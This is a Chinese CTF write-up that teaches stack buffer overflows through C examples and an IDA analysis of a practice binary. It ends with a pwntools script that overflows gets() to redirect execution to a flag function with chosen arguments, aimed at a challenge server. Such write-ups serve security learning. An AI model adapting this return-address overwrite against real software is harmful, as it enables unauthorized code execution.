我希望能将我的疑惑记录,但是堆栈函数调用这些这些,几句话我很难讲清楚,多看教程,好教程很多
至于解题基础,知道栈这种数据结构是一个线性表之后就够了,这题看不懂你来砍我
文章目录
- 前言
- 这题干什么
- 举个例子--数组
- 数组越界
- 原理
- 再举个例子--call指令
- 代码
- 原理
- 总结
- 补充知识
- call、ret (retn)、retf 指令
- 解题
- 分析 main 函数
- 分析 vuln 函数
- 分析 flag 函数
- 利用思路讲解
- 返回地址覆盖
- 修改参数
- payload 编写
前言
一不小心遇到了一道pwn题
没学过堆栈,不知道溢出,没经过基础知识的锤炼,没关系,慢慢看,不一定非要全学完才能做题
我的学习路线:
操作系统:https://www.bilibili.com/video/BV1iW411Y73K/
汇编语言:https://www.bilibili.com/video/BV1pi4y1P76P
数据结构和算法:https://www.bilibili.com/video/BV1nJ411V7bd/
…
这种方法真的很难坚持,我断断续续看了一个月只看了一部分,买了对应的教材,终于不再是一头雾水了
这题干什么
下载完了是个二进制的可执行文件,运行一下,要我输入,我输入什么它返回什么,输入长一点就报错,pwn题一大类就是通过改变保存在数据结构中的一些数据啥的,达到某些目的
工具安装就略过了,就是常说的 pwngdb
以及ida
举个例子–数组
在做题之前举个例子,也可以直接看最后解题过程,看不懂再回来看例子
数组越界
这段程序很简单,判断你输入的登录密码是否正确,正确密码是secret
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char sActualPass[8] = "secret";
char sInputPass[8] = "";
while (1){
printf("Enter your password:");
scanf("%s",sInputPass);
if (strcmp(sInputPass,sActualPass)==0){
printf("Login sucessfully.\n");
break;
}
else
printf("Wrong password.\n");
}
printf("Start using the system...\n");
system("pause");
}
编译后,第一次输入 12345678crack
,第二次输入 crack
就能登录成功
原理
本来我们输入的密码存储在一个长度为 8 的数组内,但是我们输入了 12345678crack
,那多余的字符就要存储到下一个位置,而这个位置正好存储的是正确密码secret
,我们改写成了crack
,所以比较时,输入crack
就登录成功了
再举个例子–call指令
代码
定义一个 main
函数,调用了一个 fun_1()
,而 fun_1()
定义了一个数组,长度为 2,没什么特别的
#include<stdio.h>
void fun_1(){
int a[2];
a[0]=1;
a[1]=2;
}
int main(){
fun_1();
printf("ok");
return 0;
}
如果在 fun_1()
中定义一个下标越界的元素,程序是不能正常执行的
void fun_1(){
int a[2];
a[0]=1;
a[1]=2;
a[10000000]=3;
}
重点来了,修改数组元素 a[4]
的值为某个地址,可以正常执行了 printf()
语句
void fun_1(){
int a[2];
a[0]=1;
a[1]=2;
a[4]=0x40114b;
}
原理
原理其实很简单,在 main
函数调用 fun_1()
之前,会执行 call
指令,该指令会将下一句指令的位置入栈,再跳转调用函数
而在本例中就可以使用 a[4]
来访问并修改,CPU自然就会跳转到对应位置继续执行了
0x40114b
是printf()
语句的起始地址,所以会正常输出ok
(ps:这里使用的演示工具是 https://godbolt.org/,谁用谁知道)
为什么是 a[4] 呢?
因为数据存在栈中,而栈这种数据结构是由高地址向低地址增长的,且入栈时也可以发现先入栈的是 a[1]
,然后才是 a[0]
,在执行call
指令时,首先会将下一条指令的指针入栈,而我们使用的是x86-64
位的指令集,这种情况下,一个指针占位是八个字节,所以是a[4]
而不是a[3]
总结
溢出漏洞的原理就是改写了内存中某些数据,而这个数据会被别的程序或CPU调用,就会出现意想不到的后果,比如上两个例子中,改写正确密码绕过登录验证,改写CPU返回地址直接跳转到恶意函数…
补充知识
call、ret (retn)、retf 指令
call
指令先将下一指令的地址入栈,然后进行跳转,去执行被调用函数
# 段间转移
push CS:IP
jmp far ptr 标号
# 依据位移进行近端转移
push IP
jmp near ptr 标号
ret(retn)
:近转移
pop IP
retf
:远转移
pop IP
pop CS
call
指令是调用函数时使用,ret
和retf
是函数结束返回时使用,至于近转移和远转移也很好理解,近处都是一个段,自然不用改变
解题
使用ida
打开文件,F5
查看反汇编代码,左边的窗口是程序用到的子函数
分析 main 函数
关于初始化的一些堆栈操作不予分析,用到再说
setvbuf(stdout,0,2,0);
// 此函数是设置缓冲区的类型和大小的 因为cpu读写io需要较长时间 所以就有了缓冲区 把数据写入缓冲区 然后攒到一起再进行磁盘操作 有输入缓冲区和输出缓冲区
v4=getegid();
// 用来取得执行目前进程有效组识别码 有效的组识别码用来决定进程执行时组的权限
setresgid(v4,v4,v4);
// 设置用户组ID,有效用户组ID和保存用户组ID
puts("You konw who are 0xDiablos:");
// 在屏幕输出字符
最后调用vuln()函数
暂时没看到什么值得注意的
分析 vuln 函数
- 该函数定义了一个长度为 180 (180个元素)的字符数组
gets
函数用于从标准输入设备读取字符,但是该函数不会限制读取字符的长度,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出- 将读取的字符在屏幕输出
看来问题可能出现在gets
这里了,但是我们要怎么利用呢?
分析 flag 函数
做题肯定要找 flag
的,在左边找到 flag()
函数
- 首先定义了一个字符指针变量,在C语言中,如果定义一个字符串
s="abcde";
实际上是将首字母a
的地址赋值给s
,到时通过首地址+偏移量即可找到该字符串,所以定义一个*result
和定义一个数组是一样的 fopen
打开flag.txt
文件- 如果该文件存在,则打印一行字符
fgets
函数是限制长度的gets
函数,第一个参数是要存储到的内存空间的首地址,第二个参数是读取的字符串的长度,第三个参数代表从何种流中读取,这句代码的意思就是从flag.txt
流中读取64位存储到s
指向的地址,最终保存为result
- 判断
a1
和a2
的值,如果等于设置的值,则打印result
即flag
文件内容
那么如何控制a1
和a2
呢?可以看到是该函数初始传递的参数,那么怎么调用flag()
函数呢?
在函数调用时,会将参数的值先入栈,且是从右到左的顺序入栈,然后才执行call
指令,所以如果想改变参数也很容易找到位置
利用思路讲解
返回地址覆盖
到这里利用思路应该比较明确了,通过gets
函数的溢出,控制vuln
函数的call
指令的返回地址,跳转到flag
函数执行,并传递a1
、a2
两个参数,最终使程序打印flag
文件的内容
那么具体如何利用我们再回过头分析一下vuln
的汇编代码,一切要从main
函数中的call vuln
说起
ps:在ida中想要查看汇编代码的地址需要配置:options-->general
在执行call vuln
之前,此时栈中情况用下图表示,之前的栈操作省略(入栈的值只做演示,不一定就是真实值)
执行call
指令,会将IP
寄存器的值入栈,也就是mov eax,0
的地址
如何判断是IP
入栈还是CS:IP
入栈呢?(纯属猜测,如有不对,请指正)
到了vuln
函数,第一句push ebp
,将上一个函数的栈基址入栈
接下来mov xx
和 sub xx
语句都是寄存器操作,不影响栈中数据,push ebx
将ebx
寄存器的值入栈
接下来执行call
语句,先说add
、sub
、lea
是操作寄存器的值,略过
这个call
函数指令也是是寄存器操作,虽也有入栈出栈操作,但是执行完毕后,栈会恢复原样,所以也没有影响
接下来是重点了
首先入栈eax
的值,是s
这个变量,在代码中我们定义了一个长度 180 的数组 s
那么将它入栈,占 180 个字节,而前面几个寄存器都是4个字节 (32位程序)
然后执行call _gets
继续入栈 IP
指针地址
所以我们可以控制gets
函数的参数,让其超过 180 字节,向上覆盖掉入栈的 IP 指针,也就是 188字节的填充值 +flag
函数的地址 0x080491E2
修改参数
那么如何修改 a1
、a2
的参数呢?我们知道函数的参数是先于call
指令入栈的,我们直接继续加上参数值CPU就会找到
可以注意到在flag
函数地址与参数之间还有一个位置,这是flag
函数的返回地址,我们需要符合这个格式,函数才能正确执行,至于执行完返回到哪里我们就不在意了,随便设置个 0 就可以
而 a1
、a2
的值我们可以在cmp
指令中看到,分别是
在 if
语句中,是按照从左到右的顺序比较的,所以a1
应该等于 0xDEADBEEF
,a2
等于0xC0DED00D
payload 编写
使用 python
工具包 pwntools
编写
# python2
from pwn import *
# 连接远程机器地址
io = remote('ip',port)
# 偏移量 188 字节
offset = 188
# flag 函数地址
flag_addr = 0x80491e2
# 188字节的A+flag函数地址+flag函数返回地址+参数1+参数2
payload = 'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()
使用 python3
编写 exploit.txt
,只需要将占位符转换为 byte
格式
from pwn import *
io = remote('144.126.228.155',32408)
offset = 188
flag_addr = 0x80491e2
payload = b'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()
得到同样的结果